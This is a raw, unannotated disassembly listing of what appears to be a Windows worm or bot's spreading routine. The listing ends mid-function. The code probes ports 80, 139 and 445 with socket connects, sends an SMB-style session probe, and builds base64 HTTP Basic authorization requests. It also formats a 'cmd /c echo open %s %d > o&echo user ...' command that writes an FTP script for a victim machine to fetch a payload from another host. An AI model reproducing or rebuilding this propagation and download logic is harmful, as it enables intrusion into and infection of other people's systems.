lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CA0A
lea ecx, [ebp+var_8]
call sub_40C89A
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40CDD7
; ---------------------------------------------------------------------------
loc_40CDC9: ; CODE XREF: sub_40CA75+1Bj
; sub_40CA75+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40CDD7: ; CODE XREF: sub_40CA75+352j
pop edi
pop ebx
leave
retn
sub_40CA75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CDDB proc near ; CODE XREF: sub_40CE9F+A1p
; sub_40CE9F+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_4F14F4 ; select
cmp eax, edi
jnz short loc_40CE42
lea eax, [ebp+var_10C]
push eax
push esi
call sub_437842 ; __WSAFDIsSet
test eax, eax
jnz short loc_40CE46
loc_40CE42: ; CODE XREF: sub_40CDDB+54j
xor eax, eax
jmp short loc_40CE56
; ---------------------------------------------------------------------------
loc_40CE46: ; CODE XREF: sub_40CDDB+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_45150C
loc_40CE56: ; CODE XREF: sub_40CDDB+69j
pop edi
pop esi
leave
retn
sub_40CDDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE5A proc near ; CODE XREF: sub_40CE9F+81p
; sub_40CE9F+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_4514F0
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_451540
cmp eax, 4
jz short loc_40CE84
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CE84: ; CODE XREF: sub_40CE5A+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_451540
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40CE5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE9F proc near ; CODE XREF: sub_40CF79+48p
; seg000:0040D3B1p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41AE40
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40CEC8
xor al, al
jmp loc_40CF74
; ---------------------------------------------------------------------------
loc_40CEC8: ; CODE XREF: sub_40CE9F+20j
push ebx
push 0
push esi
call sub_41D100
push 2Fh
push offset dword_446634
push esi
call sub_41E840
push 8
lea eax, [esi+31h]
push offset dword_446664
push eax
mov [esi+2Fh], di
call sub_41E840
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41E840
push 6
add ebx, edi
push offset dword_4E2474
push ebx
call sub_41E840
mov ebx, [ebp+arg_0]
push 85h
push offset dword_4465AC
push ebx
call sub_40CE5A
add esp, 48h
test al, al
jnz short loc_40CF30
loc_40CF2C: ; CODE XREF: sub_40CE9F+B5j
xor bl, bl
jmp short loc_40CF6B
; ---------------------------------------------------------------------------
loc_40CF30: ; CODE XREF: sub_40CE9F+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CDDB
push [ebp+var_4]
push esi
push ebx
call sub_40CE5A
add esp, 1Ch
test al, al
jz short loc_40CF2C
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40CDDB
add esp, 10h
mov bl, 1
loc_40CF6B: ; CODE XREF: sub_40CE9F+8Fj
push esi
call sub_41B8B0
pop ecx
mov al, bl
loc_40CF74: ; CODE XREF: sub_40CE9F+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40CE9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF79 proc near ; CODE XREF: seg000:0040D397p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_446670
push [ebp+arg_0]
call ds:dword_4F14E8 ; send
cmp eax, 48h
jnz short loc_40CFB4
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CDDB
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40CFB4
cmp [ebp+var_20], 82h
jz short loc_40CFB8
loc_40CFB4: ; CODE XREF: sub_40CF79+1Bj
; sub_40CF79+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40CFB8: ; CODE XREF: sub_40CF79+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CE9F
add esp, 0Ch
leave
retn
sub_40CF79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CFCB proc near ; CODE XREF: sub_40D017+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_439460
call sub_41F33C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_439458
fstp [esp+10h+var_10]
call sub_41F150
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41F33C
inc eax
leave
retn
sub_40CFCB endp
; =============== S U B R O U T I N E =======================================
sub_40D017 proc near ; CODE XREF: sub_40D18E+23p
var_40 = qword ptr -40h
mov eax, offset loc_437FCF
call sub_41F980
sub esp, 2Ch
push esi
lea eax, [ebp-0Dh]
push edi
xor esi, esi
push eax
lea ecx, [ebp-38h]
mov [ebp-20h], esi
call sub_40D41D
push 1
pop edi
push dword ptr [ebp+10h]
mov [ebp-4], edi
call sub_40CFCB
pop ecx
push eax
lea ecx, [ebp-38h]
call sub_40D532
cmp [ebp+10h], esi
mov [ebp-18h], esi
jbe loc_40D162
push ebx
mov ebx, [ebp+10h]
loc_40D05F: ; CODE XREF: sub_40D017+144j
cmp dword ptr [ebp+10h], 3
jb short loc_40D06A
push 3
loc_40D067: ; CODE XREF: sub_40D017+5Bj
pop ebx
jmp short loc_40D07B
; ---------------------------------------------------------------------------
loc_40D06A: ; CODE XREF: sub_40D017+4Cj
cmp dword ptr [ebp+10h], 2
jnz short loc_40D074
push 2
jmp short loc_40D067
; ---------------------------------------------------------------------------
loc_40D074: ; CODE XREF: sub_40D017+57j
cmp [ebp+10h], edi
jnz short loc_40D07B
mov ebx, edi
loc_40D07B: ; CODE XREF: sub_40D017+51j
; sub_40D017+60j
and dword ptr [ebp-24h], 0
mov [ebp-28h], ebx
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_439468
fstp [esp+40h+var_40]
call sub_41F370
pop ecx
pop ecx
call sub_41F33C
test ebx, ebx
mov [ebp-1Ch], eax
jbe short loc_40D0BC
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
push 1
and ecx, 3
rep movsb
pop edi
loc_40D0BC: ; CODE XREF: sub_40D017+8Aj
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
test eax, eax
mov [ebp-11h], cl
jbe short loc_40D129
add [ebp-18h], eax
loc_40D10E: ; CODE XREF: sub_40D017+110j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, ds:byte_4466BC[eax]
push eax
push edi
call sub_40D4B2
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D10E
loc_40D129: ; CODE XREF: sub_40D017+F2j
cmp dword ptr [ebp-18h], 48h
jb short loc_40D13E
push dword ptr [ebp+14h]
lea ecx, [ebp-38h]
call sub_40D48A
and dword ptr [ebp-18h], 0
loc_40D13E: ; CODE XREF: sub_40D017+116j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D157
sub esi, [ebp-1Ch]
loc_40D149: ; CODE XREF: sub_40D017+13Ej
push 3Dh
push edi
lea ecx, [ebp-38h]
call sub_40D4B2
dec esi
jnz short loc_40D149
loc_40D157: ; CODE XREF: sub_40D017+12Dj
cmp dword ptr [ebp+10h], 0
ja loc_40D05F
pop ebx
loc_40D162: ; CODE XREF: sub_40D017+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-38h]
push eax
call sub_40D435
mov [ebp-20h], edi
and byte ptr [ebp-4], 0
lea ecx, [ebp-38h]
call sub_40D482
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40D017 endp
; =============== S U B R O U T I N E =======================================
sub_40D18E proc near ; CODE XREF: seg000:0040D37Ap
mov eax, offset loc_437FE9
call sub_41F980
sub esp, 10h
push ebx
push esi
push edi
push offset dword_4E2480
and dword ptr [ebp-4], 0
push dword ptr [ebp+10h]
lea eax, [ebp-1Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_40D017
add esp, 10h
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 1
call sub_40D52E
lea ecx, [ebp+14h]
mov esi, eax
call sub_40D52E
lea esi, [esi+eax+36h]
push esi
call sub_41AE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D1E4
xor bl, bl
jmp short loc_40D223
; ---------------------------------------------------------------------------
loc_40D1E4: ; CODE XREF: sub_40D18E+50j
lea ecx, [ebp-1Ch]
call sub_40D521
push eax
lea ecx, [ebp+14h]
call sub_40D521
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41D360
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_451540
cmp eax, esi
jz short loc_40D21A
xor bl, bl
jmp short loc_40D21C
; ---------------------------------------------------------------------------
loc_40D21A: ; CODE XREF: sub_40D18E+86j
mov bl, 1
loc_40D21C: ; CODE XREF: sub_40D18E+8Aj
push edi
call sub_41B8B0
pop ecx
loc_40D223: ; CODE XREF: sub_40D18E+54j
and byte ptr [ebp-4], 0
lea ecx, [ebp-1Ch]
call sub_40D482
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+14h]
call sub_40D482
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D18E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 428h
and byte ptr [ebp-428h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-427h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-428h]
push offset sub_446868
push eax
call sub_41E840
add esp, 0Ch
mov eax, offset byte_43CCBC
push eax
push eax
movzx eax, word ptr ds:dword_4DF1B8
push eax
push dword ptr [ebp+8]
call sub_402617
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-399h]
push 400h
push eax
call sub_41D360
add eax, 90h
push eax
lea eax, [ebp-428h]
push eax
push 164h
lea eax, [ebp-28h]
push offset sub_446700
push eax
call sub_40CA75
mov ecx, [eax]
xor ebx, ebx
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, ebx
mov [ebp-4], eax
jnz short loc_40D2F4
xor eax, eax
jmp loc_40D402
; ---------------------------------------------------------------------------
loc_40D2F4: ; CODE XREF: seg000:0040D2EBj
mov [ebp-0Ch], ebx
loc_40D2F7: ; CODE XREF: seg000:0040D3D9j
test ebx, ebx
jnz loc_40D3DF
push 6
push 1
push 2
call ds:dword_4F14E4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40D3C7
xor eax, eax
lea edi, [ebp-1Eh]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-20h], 2
call ds:dword_4514F4
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_451530
mov [ebp-1Ch], eax
lea eax, [ebp-20h]
push 10h
push eax
push esi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz short loc_40D3BC
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D384
sub esp, 10h
lea eax, [ebp-0Dh]
mov ecx, esp
mov [ebp-24h], esp
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40D45F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40D18E
add esp, 1Ch
jmp short loc_40D3B9
; ---------------------------------------------------------------------------
loc_40D384: ; CODE XREF: seg000:0040D35Cj
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D39E
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40CF79
jmp short loc_40D3B6
; ---------------------------------------------------------------------------
loc_40D39E: ; CODE XREF: seg000:0040D38Ej
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D3BC
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40CE9F
loc_40D3B6: ; CODE XREF: seg000:0040D39Cj
add esp, 0Ch
loc_40D3B9: ; CODE XREF: seg000:0040D382j
movzx ebx, al
loc_40D3BC: ; CODE XREF: seg000:0040D353j
; seg000:0040D3A8j
push esi
call ds:dword_451588
test ebx, ebx
jnz short loc_40D3D2
loc_40D3C7: ; CODE XREF: seg000:0040D310j
push 3E8h
call ds:dword_4F12F4 ; Sleep
loc_40D3D2: ; CODE XREF: seg000:0040D3C5j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D2F7
loc_40D3DF: ; CODE XREF: seg000:0040D2F9j
lea ecx, [ebp-8]
call sub_40C89A
test ebx, ebx
jz short loc_40D400
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
loc_40D400: ; CODE XREF: seg000:0040D3E9j
mov eax, ebx
loc_40D402: ; CODE XREF: seg000:0040D2EFj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D407: ; DATA XREF: seg002:0043C008o
call sub_40D9FE
jmp $+5
push offset nullsub_1
call sub_41FE70
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40D41D proc near ; CODE XREF: sub_40D017+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40D79F
mov eax, esi
pop esi
retn 4
sub_40D41D endp
; =============== S U B R O U T I N E =======================================
sub_40D435 proc near ; CODE XREF: sub_40D017+152p
; sub_4373C0+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40D79F
push ds:dword_439470
mov ecx, esi
push 0
push edi
call sub_40D5B0
mov eax, esi
pop edi
pop esi
retn 4
sub_40D435 endp
; =============== S U B R O U T I N E =======================================
sub_40D45F proc near ; CODE XREF: seg000:0040D36Ep
; sub_437360+27p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40D79F
push [esp+4+arg_0]
mov ecx, esi
call sub_40D6A6
mov eax, esi
pop esi
retn 8
sub_40D45F endp
; =============== S U B R O U T I N E =======================================
sub_40D482 proc near ; CODE XREF: sub_40D017+161p
; sub_40D18E+9Cp ...
push 1
call sub_40D79F
retn
sub_40D482 endp
; =============== S U B R O U T I N E =======================================
sub_40D48A proc near ; CODE XREF: sub_40D017+11Ep
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40D4A7
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40D546
pop esi
retn 4
sub_40D48A endp
; =============== S U B R O U T I N E =======================================
sub_40D4A7 proc near ; CODE XREF: sub_40D48A+7p
; sub_40D6A6+7p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41AC70
pop ecx
retn
sub_40D4A7 endp
; =============== S U B R O U T I N E =======================================
sub_40D4B2 proc near ; CODE XREF: sub_40D017+107p
; sub_40D017+138p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ds:dword_439470
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CC
call sub_437360
loc_40D4CC: ; CODE XREF: sub_40D4B2+13j
test ebx, ebx
jbe short loc_40D500
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D6F3
test al, al
jz short loc_40D500
lea eax, [esp+0Ch+arg_4]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push ebx
push eax
call sub_40D508
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D6C3
loc_40D500: ; CODE XREF: sub_40D4B2+1Cj
; sub_40D4B2+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B2 endp
; =============== S U B R O U T I N E =======================================
sub_40D508 proc near ; CODE XREF: sub_40D4B2+3Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+arg_4]
movsx eax, byte ptr [eax]
push eax
push [esp+8+arg_0]
call sub_41D100
add esp, 0Ch
retn
sub_40D508 endp
; =============== S U B R O U T I N E =======================================
sub_40D521 proc near ; CODE XREF: sub_40D18E+59p
; sub_40D18E+62p ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40D52D
call sub_40D799
locret_40D52D: ; CODE XREF: sub_40D521+5j
retn
sub_40D521 endp
; =============== S U B R O U T I N E =======================================
sub_40D52E proc near ; CODE XREF: sub_40D18E+32p
; sub_40D18E+3Cp
mov eax, [ecx+8]
retn
sub_40D52E endp
; =============== S U B R O U T I N E =======================================
sub_40D532 proc near ; CODE XREF: sub_40D017+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40D543
push 0
push eax
call sub_40D6F3
locret_40D543: ; CODE XREF: sub_40D532+7j
retn 4
sub_40D532 endp
; =============== S U B R O U T I N E =======================================
sub_40D546 proc near ; CODE XREF: sub_40D48A+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_439470
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D560
call sub_437360
loc_40D560: ; CODE XREF: sub_40D546+13j
test ebx, ebx
jbe short loc_40D593
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D6F3
test al, al
jz short loc_40D593
mov eax, [esi+4]
push ebx
push [esp+10h+arg_0]
add eax, [esi+8]
push eax
call sub_40D59B
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D6C3
loc_40D593: ; CODE XREF: sub_40D546+1Cj
; sub_40D546+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D546 endp
; =============== S U B R O U T I N E =======================================
sub_40D59B proc near ; CODE XREF: sub_40D546+3Dp
; sub_40D5B0+D9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E840
add esp, 0Ch
retn
sub_40D59B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D5B0 proc near ; CODE XREF: sub_40D435+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
push edi
mov ecx, ebx
call sub_40D6A2
cmp eax, [ebp+arg_4]
jnb short loc_40D5CC
call sub_437660
loc_40D5CC: ; CODE XREF: sub_40D5B0+15j
mov ecx, ebx
call sub_40D6A2
mov edi, eax
mov eax, [ebp+arg_4]
sub edi, eax
cmp [ebp+arg_8], edi
jnb short loc_40D5E2
mov edi, [ebp+arg_8]
loc_40D5E2: ; CODE XREF: sub_40D5B0+2Dj
cmp esi, ebx
jnz short loc_40D607
push ds:dword_439470
add edi, eax
mov ecx, esi
push edi
call sub_40D82F
push [ebp+arg_4]
mov ecx, esi
push 0
call sub_40D82F
jmp loc_40D699
; ---------------------------------------------------------------------------
loc_40D607: ; CODE XREF: sub_40D5B0+34j
test edi, edi
jbe short loc_40D66C
mov ecx, ebx
call sub_40D6A2
cmp edi, eax
jnz short loc_40D66C
mov ecx, ebx
call sub_40D521
push eax
mov ecx, esi
call sub_40D984
cmp byte ptr [eax], 0FEh
jnb short loc_40D66C
push ebx
push esi
call sub_40D9E9
pop ecx
test al, al
pop ecx
jz short loc_40D66C
push 1
mov ecx, esi
call sub_40D79F
mov ecx, ebx
call sub_40D521
mov ecx, ebx
mov [esi+4], eax
call sub_40D6A2
mov ecx, ebx
mov [esi+8], eax
call sub_40D8BB
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40D984
inc byte ptr [eax]
jmp short loc_40D699
; ---------------------------------------------------------------------------
loc_40D66C: ; CODE XREF: sub_40D5B0+59j
; sub_40D5B0+64j ...
push 1
push edi
mov ecx, esi
call sub_40D6F3
test al, al
jz short loc_40D699
push edi
mov ecx, ebx
call sub_40D521
add eax, [ebp+arg_4]
push eax
push dword ptr [esi+4]
call sub_40D59B
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D6C3
loc_40D699: ; CODE XREF: sub_40D5B0+52j
; sub_40D5B0+BAj ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D5B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D6A2 proc near ; CODE XREF: sub_40D5B0+Dp
; sub_40D5B0+1Ep ...
mov eax, [ecx+8]
retn
sub_40D6A2 endp
; =============== S U B R O U T I N E =======================================
sub_40D6A6 proc near ; CODE XREF: sub_40D45F+18p
; sub_40D999+34p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40D4A7
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40D7F9
pop esi
retn 4
sub_40D6A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6C3 proc near ; CODE XREF: sub_40D4B2+49p
; sub_40D546+48p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40D6E6
pop ecx
pop ecx
leave
retn 4
sub_40D6C3 endp
; =============== S U B R O U T I N E =======================================
sub_40D6E6 proc near ; CODE XREF: sub_40D6C3+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40D6E6 endp
; =============== S U B R O U T I N E =======================================
sub_40D6F3 proc near ; CODE XREF: sub_40D4B2+28p
; sub_40D532+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40D8A9
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40D70A
call sub_437360
loc_40D70A: ; CODE XREF: sub_40D6F3+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40D74A
push eax
mov ecx, esi
call sub_40D984
cmp [eax], bl
jz short loc_40D74A
push dword ptr [esi+4]
mov ecx, esi
call sub_40D984
cmp byte ptr [eax], 0FFh
jz short loc_40D74A
cmp edi, ebx
jnz short loc_40D789
push dword ptr [esi+4]
mov ecx, esi
call sub_40D984
dec byte ptr [eax]
push ebx
loc_40D73F: ; CODE XREF: sub_40D6F3+63j
mov ecx, esi
call sub_40D79F
loc_40D746: ; CODE XREF: sub_40D6F3+68j
; sub_40D6F3+72j
xor al, al
jmp short loc_40D793
; ---------------------------------------------------------------------------
loc_40D74A: ; CODE XREF: sub_40D6F3+1Ej
; sub_40D6F3+2Aj ...
cmp edi, ebx
jnz short loc_40D767
cmp [esp+0Ch+arg_4], bl
jz short loc_40D758
push 1
jmp short loc_40D73F
; ---------------------------------------------------------------------------
loc_40D758: ; CODE XREF: sub_40D6F3+5Fj
cmp [esi+4], ebx
jz short loc_40D746
push ebx
mov ecx, esi
call sub_40D6C3
jmp short loc_40D746
; ---------------------------------------------------------------------------
loc_40D767: ; CODE XREF: sub_40D6F3+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40D784
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D779
cmp eax, edi
jnb short loc_40D791
loc_40D779: ; CODE XREF: sub_40D6F3+80j
push 1
mov ecx, esi
call sub_40D79F
jmp short loc_40D789
; ---------------------------------------------------------------------------
loc_40D784: ; CODE XREF: sub_40D6F3+78j
cmp [esi+0Ch], edi
jnb short loc_40D791
loc_40D789: ; CODE XREF: sub_40D6F3+3Dj
; sub_40D6F3+8Fj
push edi
mov ecx, esi
call sub_40D8BF
loc_40D791: ; CODE XREF: sub_40D6F3+84j
; sub_40D6F3+94j
mov al, 1
loc_40D793: ; CODE XREF: sub_40D6F3+55j
pop edi
pop esi
pop ebx
retn 8
sub_40D6F3 endp
; =============== S U B R O U T I N E =======================================
sub_40D799 proc near ; CODE XREF: sub_40D521+7p
mov eax, offset dword_439474
retn
sub_40D799 endp
; =============== S U B R O U T I N E =======================================
sub_40D79F proc near ; CODE XREF: sub_40D41D+Dp
; sub_40D435+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40D7EB
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40D7EB
push eax
call sub_40D984
cmp [eax], bl
jz short loc_40D7D9
push dword ptr [esi+4]
mov ecx, esi
call sub_40D984
cmp byte ptr [eax], 0FFh
jz short loc_40D7D9
push dword ptr [esi+4]
mov ecx, esi
call sub_40D984
dec byte ptr [eax]
jmp short loc_40D7EB
; ---------------------------------------------------------------------------
loc_40D7D9: ; CODE XREF: sub_40D79F+1Bj
; sub_40D79F+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call sub_40D98C
loc_40D7EB: ; CODE XREF: sub_40D79F+Aj
; sub_40D79F+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40D79F endp
; =============== S U B R O U T I N E =======================================
sub_40D7F9 proc near ; CODE XREF: sub_40D6A6+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
push [esp+8+arg_4]
mov esi, ecx
call sub_40D6F3
test al, al
jz short loc_40D829
push [esp+4+arg_4]
push [esp+8+arg_0]
push dword ptr [esi+4]
call sub_40D59B
add esp, 0Ch
mov ecx, esi
push [esp+4+arg_4]
call sub_40D6C3
loc_40D829: ; CODE XREF: sub_40D7F9+10j
mov eax, esi
pop esi
retn 8
sub_40D7F9 endp
; =============== S U B R O U T I N E =======================================
sub_40D82F proc near ; CODE XREF: sub_40D5B0+41p
; sub_40D5B0+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D842
call sub_437660
loc_40D842: ; CODE XREF: sub_40D82F+Cj
mov ecx, edi
call sub_40D999
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D858
mov ebx, eax
loc_40D858: ; CODE XREF: sub_40D82F+25j
test ebx, ebx
jbe short loc_40D88C
mov ecx, [edi+4]
